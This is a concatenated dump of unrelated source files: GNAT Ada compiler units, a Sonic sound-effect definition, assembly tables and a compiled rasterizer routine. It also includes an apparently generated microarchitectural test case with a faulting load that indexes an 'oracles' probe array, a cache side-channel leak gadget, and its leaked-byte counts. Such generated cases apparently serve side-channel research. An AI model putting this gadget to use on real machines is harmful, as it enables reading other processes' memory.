dw 0xffca, 0xffca, 0xffca, 0xffcb, 0xffcb, 0xffcc, 0xffcc, 0xffcc
dw 0xffcd, 0xffcd, 0xffcd, 0xffce, 0xffce, 0xffce, 0xffcf, 0xffcf
dw 0xffd0, 0xffd0, 0xffd0, 0xffd1, 0xffd1, 0xffd1, 0xffd2, 0xffd2
dw 0xffd2, 0xffd3, 0xffd3, 0xffd4, 0xffd4, 0xffd4, 0xffd5, 0xffd5
dw 0xffd5, 0xffd6, 0xffd6, 0xffd6, 0xffd7, 0xffd7, 0xffd8, 0xffd8
dw 0xffd8, 0xffd9, 0xffd9, 0xffd9, 0xffda, 0xffda, 0xffdb, 0xffdb
dw 0xffdb, 0xffdc, 0xffdc, 0xffdc, 0xffdd, 0xffdd, 0xffde, 0xffde
dw 0xffde, 0xffdf, 0xffdf, 0xffdf, 0xffe0, 0xffe0, 0xffe1, 0xffe1
dw 0xffe1, 0xffe2, 0xffe2, 0xffe3, 0xffe3, 0xffe3, 0xffe4, 0xffe4
dw 0xffe4, 0xffe5, 0xffe5, 0xffe6, 0xffe6, 0xffe6, 0xffe7, 0xffe7
dw 0xffe8, 0xffe8, 0xffe8, 0xffe9, 0xffe9, 0xffe9, 0xffea, 0xffea
dw 0xffeb, 0xffeb, 0xffeb, 0xffec, 0xffec, 0xffed, 0xffed, 0xffed
dw 0xffee, 0xffee, 0xffee, 0xffef, 0xffef, 0xfff0, 0xfff0, 0xfff0
dw 0xfff1, 0xfff1, 0xfff2, 0xfff2, 0xfff2, 0xfff3, 0xfff3, 0xfff4
dw 0xfff4, 0xfff4, 0xfff5, 0xfff5, 0xfff6, 0xfff6, 0xfff6, 0xfff7
dw 0xfff7, 0xfff7, 0xfff8, 0xfff8, 0xfff9, 0xfff9, 0xfff9, 0xfffa
dw 0xfffa, 0xfffb, 0xfffb, 0xfffb, 0xfffc, 0xfffc, 0xfffd, 0xfffd
dw 0xfffd, 0xfffe, 0xfffe, 0xffff, 0xffff, 0xffff, 0x0000, 0x0000
dw 0x0000, 0x0000, 0x0000, 0x0001, 0x0001, 0x0001, 0x0002, 0x0002
dw 0x0003, 0x0003, 0x0003, 0x0004, 0x0004, 0x0005, 0x0005, 0x0005
dw 0x0006, 0x0006, 0x0007, 0x0007, 0x0007, 0x0008, 0x0008, 0x0009
dw 0x0009, 0x0009, 0x000a, 0x000a, 0x000a, 0x000b, 0x000b, 0x000c
dw 0x000c, 0x000c, 0x000d, 0x000d, 0x000e, 0x000e, 0x000e, 0x000f
dw 0x000f, 0x0010, 0x0010, 0x0010, 0x0011, 0x0011, 0x0012, 0x0012
dw 0x0012, 0x0013, 0x0013, 0x0013, 0x0014, 0x0014, 0x0015, 0x0015
dw 0x0015, 0x0016, 0x0016, 0x0017, 0x0017, 0x0017, 0x0018, 0x0018
dw 0x0018, 0x0019, 0x0019, 0x001a, 0x001a, 0x001a, 0x001b, 0x001b
dw 0x001c, 0x001c, 0x001c, 0x001d, 0x001d, 0x001d, 0x001e, 0x001e
dw 0x001f, 0x001f, 0x001f, 0x0020, 0x0020, 0x0021, 0x0021, 0x0021
dw 0x0022, 0x0022, 0x0022, 0x0023, 0x0023, 0x0024, 0x0024, 0x0024
dw 0x0025, 0x0025, 0x0025, 0x0026, 0x0026, 0x0027, 0x0027, 0x0027
dw 0x0028, 0x0028, 0x0028, 0x0029, 0x0029, 0x002a, 0x002a, 0x002a
dw 0x002b, 0x002b, 0x002b, 0x002c, 0x002c, 0x002c, 0x002d, 0x002d
dw 0x002e, 0x002e, 0x002e, 0x002f, 0x002f, 0x002f, 0x0030, 0x0030
dw 0x0030, 0x0031, 0x0031, 0x0032, 0x0032, 0x0032, 0x0033, 0x0033
dw 0x0033, 0x0034, 0x0034, 0x0034, 0x0035, 0x0035, 0x0036, 0x0036
dw 0x0036, 0x0037, 0x0037, 0x0037, 0x0038, 0x0038, 0x0038, 0x0039
dw 0x0039, 0x0039, 0x003a, 0x003a, 0x003a, 0x003b, 0x003b, 0x003b
dw 0x003c, 0x003c, 0x003d, 0x003d, 0x003d, 0x003e, 0x003e, 0x003e
dw 0x003f, 0x003f, 0x003f, 0x0040, 0x0040, 0x0040, 0x0041, 0x0041
dw 0x0041, 0x0042, 0x0042, 0x0042, 0x0043, 0x0043, 0x0043, 0x0044
dw 0x0044, 0x0044, 0x0045, 0x0045, 0x0045, 0x0046, 0x0046, 0x0046
dw 0x0047, 0x0047, 0x0047, 0x0048, 0x0048, 0x0048, 0x0049, 0x0049
dw 0x0049, 0x004a, 0x004a, 0x004a, 0x004a, 0x004b, 0x004b, 0x004b
dw 0x004c, 0x004c, 0x004c, 0x004d, 0x004d, 0x004d, 0x004e, 0x004e
dw 0x004e, 0x004f, 0x004f, 0x004f, 0x004f, 0x0050, 0x0050, 0x0050
dw 0x0051, 0x0051, 0x0051, 0x0052, 0x0052, 0x0052, 0x0053, 0x0053
dw 0x0053, 0x0053, 0x0054, 0x0054, 0x0054, 0x0055, 0x0055, 0x0055
dw 0x0055, 0x0056, 0x0056, 0x0056, 0x0057, 0x0057, 0x0057, 0x0057
dw 0x0058, 0x0058, 0x0058, 0x0059, 0x0059, 0x0059, 0x0059, 0x005a
dw 0x005a, 0x005a, 0x005b, 0x005b, 0x005b, 0x005b, 0x005c, 0x005c
dw 0x005c, 0x005c, 0x005d, 0x005d, 0x005d, 0x005e, 0x005e, 0x005e
dw 0x005e, 0x005f, 0x005f, 0x005f, 0x005f, 0x0060, 0x0060, 0x0060
dw 0x0060, 0x0061, 0x0061, 0x0061, 0x0061, 0x0062, 0x0062, 0x0062
dw 0x0062, 0x0063, 0x0063, 0x0063, 0x0063, 0x0064, 0x0064, 0x0064
dw 0x0064, 0x0065, 0x0065, 0x0065, 0x0065, 0x0066, 0x0066, 0x0066
dw 0x0066, 0x0067, 0x0067, 0x0067, 0x0067, 0x0067, 0x0068, 0x0068
dw 0x0068, 0x0068, 0x0069, 0x0069, 0x0069, 0x0069, 0x0069, 0x006a
dw 0x006a, 0x006a, 0x006a, 0x006b, 0x006b, 0x006b, 0x006b, 0x006b
dw 0x006c, 0x006c, 0x006c, 0x006c, 0x006c, 0x006d, 0x006d, 0x006d
dw 0x006d, 0x006d, 0x006e, 0x006e, 0x006e, 0x006e, 0x006e, 0x006f
dw 0x006f, 0x006f, 0x006f, 0x006f, 0x0070, 0x0070, 0x0070, 0x0070
dw 0x0070, 0x0071, 0x0071, 0x0071, 0x0071, 0x0071, 0x0071, 0x0072
dw 0x0072, 0x0072, 0x0072, 0x0072, 0x0073, 0x0073, 0x0073, 0x0073
dw 0x0073, 0x0073, 0x0074, 0x0074, 0x0074, 0x0074, 0x0074, 0x0074
dw 0x0075, 0x0075, 0x0075, 0x0075, 0x0075, 0x0075, 0x0075, 0x0076
dw 0x0076, 0x0076, 0x0076, 0x0076, 0x0076, 0x0076, 0x0077, 0x0077
dw 0x0077, 0x0077, 0x0077, 0x0077, 0x0077, 0x0078, 0x0078, 0x0078
dw 0x0078, 0x0078, 0x0078, 0x0078, 0x0079, 0x0079, 0x0079, 0x0079
dw 0x0079, 0x0079, 0x0079, 0x0079, 0x007a, 0x007a, 0x007a, 0x007a
dw 0x007a, 0x007a, 0x007a, 0x007a, 0x007a, 0x007b, 0x007b, 0x007b
dw 0x007b, 0x007b, 0x007b, 0x007b, 0x007b, 0x007b, 0x007b, 0x007c
dw 0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c
dw 0x007c, 0x007c, 0x007d, 0x007d, 0x007d, 0x007d, 0x007d, 0x007d
dw 0x007d, 0x007d, 0x007d, 0x007d, 0x007d, 0x007d, 0x007d, 0x007e
dw 0x007e, 0x007e, 0x007e, 0x007e, 0x007e, 0x007e, 0x007e, 0x007e
dw 0x007e, 0x007e, 0x007e, 0x007e, 0x007e, 0x007e, 0x007e, 0x007e
dw 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f
dw 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f
dw 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f
dw 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f
dw 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f
|
llvm-gcc-4.2-2.9/gcc/ada/g-alvety.ads | vidkidz/crossbridge | 1 | 18791 | <gh_stars>1-10
------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- G N A T . A L T I V E C . V E C T O R _ T Y P E S --
-- --
-- S p e c --
-- --
-- Copyright (C) 2004-2005, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 2, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING. If not, write --
-- to the Free Software Foundation, 59 Temple Place - Suite 330, Boston, --
-- MA 02111-1307, USA. --
-- --
-- As a special exception, if other files instantiate generics from this --
-- unit, or you link this unit with other files to produce an executable, --
-- this unit does not by itself cause the resulting executable to be --
-- covered by the GNU General Public License. This exception does not --
-- however invalidate any other reasons why the executable file might be --
-- covered by the GNU Public License. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
-- This unit exposes the various vector types part of the Ada binding to
-- Altivec facilities.
with GNAT.Altivec.Low_Level_Vectors;
package GNAT.Altivec.Vector_Types is
use GNAT.Altivec.Low_Level_Vectors;
---------------------------------------------------
-- Vector type declarations [PIM-2.1 Data Types] --
---------------------------------------------------
-- Except for assignments and pointer creation/dereference, operations
-- on vectors are only performed via subprograms. The vector types are
-- then private, and non-limited since assignments are allowed.
-- The Hard/Soft binding type-structure differentiation is achieved in
-- Low_Level_Vectors. Each version only exposes private vector types, that
-- we just sub-type here. This is fine from the design standpoint and
-- reduces the amount of explicit conversion required in various places
-- internally.
subtype vector_unsigned_char is Low_Level_Vectors.LL_VUC;
subtype vector_signed_char is Low_Level_Vectors.LL_VSC;
subtype vector_bool_char is Low_Level_Vectors.LL_VBC;
subtype vector_unsigned_short is Low_Level_Vectors.LL_VUS;
subtype vector_signed_short is Low_Level_Vectors.LL_VSS;
subtype vector_bool_short is Low_Level_Vectors.LL_VBS;
subtype vector_unsigned_int is Low_Level_Vectors.LL_VUI;
subtype vector_signed_int is Low_Level_Vectors.LL_VSI;
subtype vector_bool_int is Low_Level_Vectors.LL_VBI;
subtype vector_float is Low_Level_Vectors.LL_VF;
subtype vector_pixel is Low_Level_Vectors.LL_VP;
-- [PIM-2.1] shows groups of declarations with exact same component types,
-- e.g. vector unsigned short together with vector unsigned short int. It
-- so appears tempting to define subtypes for those matches here.
--
-- [PIM-2.1] does not qualify items in those groups as "the same types",
-- though, and [PIM-2.4.2 Assignments] reads: "if either the left hand
-- side or the right hand side of an expression has a vector type, then
-- both sides of the expression must be of the same vector type".
--
-- Not so clear what is exactly right, then. We go with subtypes for now
-- and can adjust later if need be.
subtype vector_unsigned_short_int is vector_unsigned_short;
subtype vector_signed_short_int is vector_signed_short;
subtype vector_char is vector_signed_char;
subtype vector_short is vector_signed_short;
subtype vector_int is vector_signed_int;
--------------------------------
-- Corresponding access types --
--------------------------------
type vector_unsigned_char_ptr is access all vector_unsigned_char;
type vector_signed_char_ptr is access all vector_signed_char;
type vector_bool_char_ptr is access all vector_bool_char;
type vector_unsigned_short_ptr is access all vector_unsigned_short;
type vector_signed_short_ptr is access all vector_signed_short;
type vector_bool_short_ptr is access all vector_bool_short;
type vector_unsigned_int_ptr is access all vector_unsigned_int;
type vector_signed_int_ptr is access all vector_signed_int;
type vector_bool_int_ptr is access all vector_bool_int;
type vector_float_ptr is access all vector_float;
type vector_pixel_ptr is access all vector_pixel;
--------------------------------------------------------------------
-- Additional access types, for the sake of some argument passing --
--------------------------------------------------------------------
-- ... because some of the operations expect pointers to possibly
-- constant objects.
type const_vector_bool_char_ptr is access constant vector_bool_char;
type const_vector_signed_char_ptr is access constant vector_signed_char;
type const_vector_unsigned_char_ptr is access constant vector_unsigned_char;
type const_vector_bool_short_ptr is access constant vector_bool_short;
type const_vector_signed_short_ptr is access constant vector_signed_short;
type const_vector_unsigned_short_ptr is access
constant vector_unsigned_short;
type const_vector_bool_int_ptr is access constant vector_bool_int;
type const_vector_signed_int_ptr is access constant vector_signed_int;
type const_vector_unsigned_int_ptr is access constant vector_unsigned_int;
type const_vector_float_ptr is access constant vector_float;
type const_vector_pixel_ptr is access constant vector_pixel;
----------------------
-- Useful shortcuts --
----------------------
subtype VUC is vector_unsigned_char;
subtype VSC is vector_signed_char;
subtype VBC is vector_bool_char;
subtype VUS is vector_unsigned_short;
subtype VSS is vector_signed_short;
subtype VBS is vector_bool_short;
subtype VUI is vector_unsigned_int;
subtype VSI is vector_signed_int;
subtype VBI is vector_bool_int;
subtype VP is vector_pixel;
subtype VF is vector_float;
end GNAT.Altivec.Vector_Types;
|
sk/sfx/44.asm | Cancer52/flamedriver | 9 | 22787 | Sound_44_Header:
smpsHeaderStartSong 3
smpsHeaderVoice Sound_44_Voices
smpsHeaderTempoSFX $01
smpsHeaderChanSFX $01
smpsHeaderSFXChannel cFM5, Sound_44_FM5, $EE, $00
; FM5 Data
Sound_44_FM5:
smpsSetvoice $00
smpsModSet $03, $01, $32, $2B
dc.b nB2, $20
smpsStop
Sound_44_Voices:
; Voice $00
; $04
; $02, $01, $22, $21, $1F, $1F, $1F, $1F, $0B, $00, $0B, $00
; $00, $0E, $00, $0E, $FF, $0F, $FF, $0F, $14, $80, $14, $80
smpsVcAlgorithm $04
smpsVcFeedback $00
smpsVcUnusedBits $00
smpsVcDetune $02, $02, $00, $00
smpsVcCoarseFreq $01, $02, $01, $02
smpsVcRateScale $00, $00, $00, $00
smpsVcAttackRate $1F, $1F, $1F, $1F
smpsVcAmpMod $00, $00, $00, $00
smpsVcDecayRate1 $00, $0B, $00, $0B
smpsVcDecayRate2 $0E, $00, $0E, $00
smpsVcDecayLevel $00, $0F, $00, $0F
smpsVcReleaseRate $0F, $0F, $0F, $0F
smpsVcTotalLevel $00, $14, $00, $14
|
Transynther/x86/_processed/AVXALIGN/_st_zr_un_sm_/i9-9900K_12_0xa0_notsx.log_253_1049.asm | ljhsiun2/medusa | 9 | 94400 | <gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x61bd, %rsi
lea addresses_A_ht+0x13822, %rdi
xor %rbp, %rbp
mov $78, %rcx
rep movsl
and %rdx, %rdx
lea addresses_normal_ht+0xfd5d, %rsi
lea addresses_WT_ht+0x557d, %rdi
nop
cmp %r11, %r11
mov $34, %rcx
rep movsq
nop
nop
and $43361, %rbp
lea addresses_A_ht+0x88dd, %rsi
lea addresses_A_ht+0x1d8a2, %rdi
nop
xor %r10, %r10
mov $91, %rcx
rep movsb
nop
nop
nop
nop
nop
add $21483, %rdx
lea addresses_UC_ht+0x19e9d, %r11
nop
nop
nop
cmp $9769, %rdi
movl $0x61626364, (%r11)
nop
nop
add %rcx, %rcx
lea addresses_normal_ht+0xa15d, %rsi
lea addresses_WT_ht+0x1b30f, %rdi
nop
and %rbp, %rbp
mov $117, %rcx
rep movsw
nop
nop
nop
nop
nop
and $4647, %r10
lea addresses_normal_ht+0x1635d, %rcx
nop
nop
nop
dec %rdx
movw $0x6162, (%rcx)
nop
nop
nop
sub $51113, %rbp
lea addresses_WT_ht+0x1023b, %rsi
lea addresses_D_ht+0x1175d, %rdi
nop
nop
nop
nop
nop
xor $6188, %rdx
mov $97, %rcx
rep movsw
nop
nop
cmp $38624, %rdx
lea addresses_UC_ht+0x1ec7d, %r11
nop
nop
nop
nop
nop
sub $4094, %rbp
movups (%r11), %xmm3
vpextrq $1, %xmm3, %rdx
nop
nop
nop
cmp $18964, %rbp
lea addresses_WC_ht+0xf69d, %rsi
lea addresses_D_ht+0x1ce5d, %rdi
nop
nop
nop
sub $1351, %rax
mov $11, %rcx
rep movsw
nop
nop
cmp $3138, %rax
lea addresses_WT_ht+0x8f1d, %rax
xor $64394, %rsi
movups (%rax), %xmm4
vpextrq $0, %xmm4, %rcx
nop
nop
nop
nop
xor %rbp, %rbp
lea addresses_UC_ht+0x7f, %r11
nop
sub %rdi, %rdi
mov (%r11), %eax
nop
nop
nop
add $11474, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r8
push %r9
push %rax
push %rbp
push %rdx
// Load
lea addresses_WT+0x1d43d, %r9
nop
nop
nop
nop
nop
xor %r8, %r8
movntdqa (%r9), %xmm1
vpextrq $0, %xmm1, %r12
nop
nop
and $47182, %r9
// Store
mov $0x2926e4000000065d, %rbp
nop
nop
nop
xor %r9, %r9
mov $0x5152535455565758, %r12
movq %r12, %xmm1
vmovups %ymm1, (%rbp)
nop
add $45586, %rbp
// Store
lea addresses_A+0x105c1, %rdx
cmp $18748, %rax
mov $0x5152535455565758, %r8
movq %r8, %xmm4
movups %xmm4, (%rdx)
nop
nop
nop
nop
add %rdx, %rdx
// Faulty Load
mov $0x2926e4000000065d, %r8
nop
nop
nop
nop
sub $19108, %r9
vmovntdqa (%r8), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $0, %xmm5, %rbp
lea oracles, %r9
and $0xff, %rbp
shlq $12, %rbp
mov (%r9,%rbp,1), %rbp
pop %rdx
pop %rbp
pop %rax
pop %r9
pop %r8
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT', 'AVXalign': False, 'size': 16, 'NT': True, 'same': False, 'congruent': 5}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'size': 32, 'NT': False, 'same': True, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 2}}
[Faulty Load]
{'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 32, 'NT': True, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}}
{'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 4, 'NT': True, 'same': False, 'congruent': 6}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 7}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}}
{'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 5}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}}
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 3}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'}
{'e2': 2, 'cc': 2, 'f2': 2, 'd8': 2, 'fa': 2, 'fc': 2, 'da': 1, 'f6': 2, 'e0': 1, 'dc': 2, 'd2': 1, 'e6': 1, 'e4': 2, '00': 17, 'ec': 1, '04': 1, 'd0': 1, 'd6': 3, '58': 204, 'fe': 1, '6e': 1, 'c0': 1, 'a2': 1}
58 00 58 58 58 58 f6 58 58 58 58 58 58 58 58 58 58 58 58 e2 58 58 58 fa 58 58 58 58 58 58 58 58 58 58 d6 58 d8 58 58 58 58 58 58 58 58 58 58 f2 58 58 00 58 58 cc e6 58 58 58 d2 58 58 58 58 00 58 58 fe 58 f6 f2 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 00 da 58 00 58 58 58 58 58 58 58 58 58 00 58 dc 58 00 58 58 58 58 58 58 58 58 58 58 58 d0 58 58 58 58 58 e4 58 58 58 58 d6 58 58 58 58 58 58 58 58 fc 58 58 58 00 00 58 58 fc 00 58 58 58 58 58 58 d6 58 58 58 58 58 58 58 58 58 00 58 c0 ec 58 58 58 58 58 58 58 58 58 58 58 58 58 58 6e e0 58 58 58 04 d8 58 58 00 58 58 e2 58 58 58 58 a2 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 cc 58 58 58 fa 58 58 58 58 58 58 58 00 58 00 58 58 58 58 58 58 58 dc 58 58 58 e4
*/
|
scripts/code_cc__rasterize_horiz_line.asm | artyompal/C-compiler | 4 | 174615 | <filename>scripts/code_cc__rasterize_horiz_line.asm
__rasterize_horiz_line proc
push ebp
mov ebp,esp
sub esp,64
push edi
push esi
push ebx
movss xmm7,dword ptr [ebp+32]
movss xmm6,dword ptr [ebp+28]
movss xmm5,dword ptr [ebp+24]
movss xmm4,dword ptr [ebp+20]
mov edi,[ebp+16]
mov esi,[ebp+12]
mov ebx,[ebp+8]
mov eax,dword ptr [__pitch]
imul eax,edi
add eax,dword ptr [__videomem]
mov ecx,ebx
sal ecx,2
add eax,ecx
sal esi,2
add esi,eax
sal ebx,2
sub esi,ebx
label0000:
; start of inline function _tex2d
mov ecx,dword ptr [__texture_width]
dec ecx
cvtsi2ss xmm0,ecx
mulss xmm0,xmm4
cvttss2si ecx,xmm0
mov edx,dword ptr [__texture_height]
dec edx
cvtsi2ss xmm0,edx
mulss xmm0,xmm5
cvttss2si edx,xmm0
imul edx,dword ptr [__texture_width]
add edx,ecx
sal edx,2
add edx,dword ptr [__texture_data]
mov edx,[edx]
; end of inline function _tex2d
mov ecx,edx
sar ecx,24
and ecx,255
cmp ecx,0
je label0003
cvtsi2ss xmm0,ecx
mulss xmm0,dword ptr [___unnamed_float_6]
mov ecx,[eax]
mov ebx,ecx
and ebx,65280
sar ebx,8
and ecx,255
mov edi,edx
and edi,65280
sar edi,8
and edx,255
cvtsi2ss xmm1,edi
mulss xmm1,xmm0
cvtsi2ss xmm2,ebx
movss xmm3,dword ptr [___unnamed_float_1]
subss xmm3,xmm0
mulss xmm2,xmm3
addss xmm1,xmm2
cvttss2si ebx,xmm1
cvtsi2ss xmm1,edx
mulss xmm1,xmm0
cvtsi2ss xmm2,ecx
movss xmm3,dword ptr [___unnamed_float_1]
subss xmm3,xmm0
mulss xmm2,xmm3
addss xmm1,xmm2
cvttss2si ecx,xmm1
sal ebx,8
add ebx,ecx
mov [eax],ebx
label0003:
addss xmm4,xmm6
addss xmm5,xmm7
add eax,4
cmp eax,esi
jl label0000
pop ebx
pop esi
pop edi
add esp,64
pop ebp
ret
__rasterize_horiz_line endp
|
llvm-gcc-4.2-2.9/gcc/ada/sem_warn.adb | vidkidz/crossbridge | 1 | 11953 | ------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- S E M _ W A R N --
-- --
-- B o d y --
-- --
-- Copyright (C) 1999-2006, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 2, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING. If not, write --
-- to the Free Software Foundation, 51 Franklin Street, Fifth Floor, --
-- Boston, MA 02110-1301, USA. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
with Alloc;
with Atree; use Atree;
with Einfo; use Einfo;
with Errout; use Errout;
with Fname; use Fname;
with Lib; use Lib;
with Nlists; use Nlists;
with Opt; use Opt;
with Sem; use Sem;
with Sem_Ch8; use Sem_Ch8;
with Sem_Util; use Sem_Util;
with Sinfo; use Sinfo;
with Sinput; use Sinput;
with Snames; use Snames;
with Stand; use Stand;
with Table;
package body Sem_Warn is
-- The following table collects Id's of entities that are potentially
-- unreferenced. See Check_Unset_Reference for further details.
package Unreferenced_Entities is new Table.Table (
Table_Component_Type => Entity_Id,
Table_Index_Type => Nat,
Table_Low_Bound => 1,
Table_Initial => Alloc.Unreferenced_Entities_Initial,
Table_Increment => Alloc.Unreferenced_Entities_Increment,
Table_Name => "Unreferenced_Entities");
------------------------------
-- Handling of Conditionals --
------------------------------
-- Note: this is work in progress, the data structures and general approach
-- are defined, but are not in use yet. ???
-- An entry is made in the following table for each branch of conditional,
-- e.g. an if-then-elsif-else-endif structure creates three entries in this
-- table.
type Branch_Entry is record
Sloc : Source_Ptr;
-- Location for warnings associated with this branch
Defs : Elist_Id;
-- List of entities defined for the first time in this branch. On exit
-- from a conditional structure, any entity that is in the list of all
-- branches is removed (and the entity flagged as defined by the
-- conditional as a whole). Thus after processing a conditional, Defs
-- contains a list of entities defined in this branch for the first
-- time, but not defined at all in some other branch of the same
-- conditional. A value of No_Elist is used to represent the initial
-- empty list.
Next : Nat;
-- Index of next branch for this conditional, zero = last branch
end record;
package Branch_Table is new Table.Table (
Table_Component_Type => Branch_Entry,
Table_Index_Type => Nat,
Table_Low_Bound => 1,
Table_Initial => Alloc.Branches_Initial,
Table_Increment => Alloc.Branches_Increment,
Table_Name => "Branches");
-- The following table is used to represent conditionals, there is one
-- entry in this table for each conditional structure.
type Conditional_Entry is record
If_Stmt : Boolean;
-- True for IF statement, False for CASE statement
First_Branch : Nat;
-- Index in Branch table of first branch, zero = none yet
Current_Branch : Nat;
-- Index in Branch table of current branch, zero = none yet
end record;
package Conditional_Table is new Table.Table (
Table_Component_Type => Conditional_Entry,
Table_Index_Type => Nat,
Table_Low_Bound => 1,
Table_Initial => Alloc.Conditionals_Initial,
Table_Increment => Alloc.Conditionals_Increment,
Table_Name => "Conditionals");
-- The following table is a stack that keeps track of the current
-- conditional. The Last entry is the top of the stack. An Empty entry
-- represents the start of a compilation unit. Non-zero entries in the
-- stack are indexes into the conditional table.
package Conditional_Stack is new Table.Table (
Table_Component_Type => Nat,
Table_Index_Type => Nat,
Table_Low_Bound => 1,
Table_Initial => Alloc.Conditional_Stack_Initial,
Table_Increment => Alloc.Conditional_Stack_Increment,
Table_Name => "Conditional_Stack");
pragma Warnings (Off, Branch_Table);
pragma Warnings (Off, Conditional_Table);
pragma Warnings (Off, Conditional_Stack);
-- Not yet referenced, see note above ???
-----------------------
-- Local Subprograms --
-----------------------
function Generic_Package_Spec_Entity (E : Entity_Id) return Boolean;
-- This returns true if the entity E is declared within a generic package.
-- The point of this is to detect variables which are not assigned within
-- the generic, but might be assigned outside the package for any given
-- instance. These are cases where we leave the warnings to be posted
-- for the instance, when we will know more.
function Operand_Has_Warnings_Suppressed (N : Node_Id) return Boolean;
-- This function traverses the expression tree represented by the node N
-- and determines if any sub-operand is a reference to an entity for which
-- the Warnings_Off flag is set. True is returned if such an entity is
-- encountered, and False otherwise.
----------------------
-- Check_References --
----------------------
procedure Check_References (E : Entity_Id; Anod : Node_Id := Empty) is
E1 : Entity_Id;
UR : Node_Id;
function Missing_Subunits return Boolean;
-- We suppress warnings when there are missing subunits, because this
-- may generate too many false positives: entities in a parent may only
-- be referenced in one of the subunits. We make an exception for
-- subunits that contain no other stubs.
procedure Output_Reference_Error (M : String);
-- Used to output an error message. Deals with posting the error on the
-- body formal in the accept case.
function Publicly_Referenceable (Ent : Entity_Id) return Boolean;
-- This is true if the entity in question is potentially referenceable
-- from another unit. This is true for entities in packages that are at
-- the library level.
----------------------
-- Missing_Subunits --
----------------------
function Missing_Subunits return Boolean is
D : Node_Id;
begin
if not Unloaded_Subunits then
-- Normal compilation, all subunits are present
return False;
elsif E /= Main_Unit_Entity then
-- No warnings on a stub that is not the main unit
return True;
elsif Nkind (Unit_Declaration_Node (E)) in N_Proper_Body then
D := First (Declarations (Unit_Declaration_Node (E)));
while Present (D) loop
-- No warnings if the proper body contains nested stubs
if Nkind (D) in N_Body_Stub then
return True;
end if;
Next (D);
end loop;
return False;
else
-- Missing stubs elsewhere
return True;
end if;
end Missing_Subunits;
----------------------------
-- Output_Reference_Error --
----------------------------
procedure Output_Reference_Error (M : String) is
begin
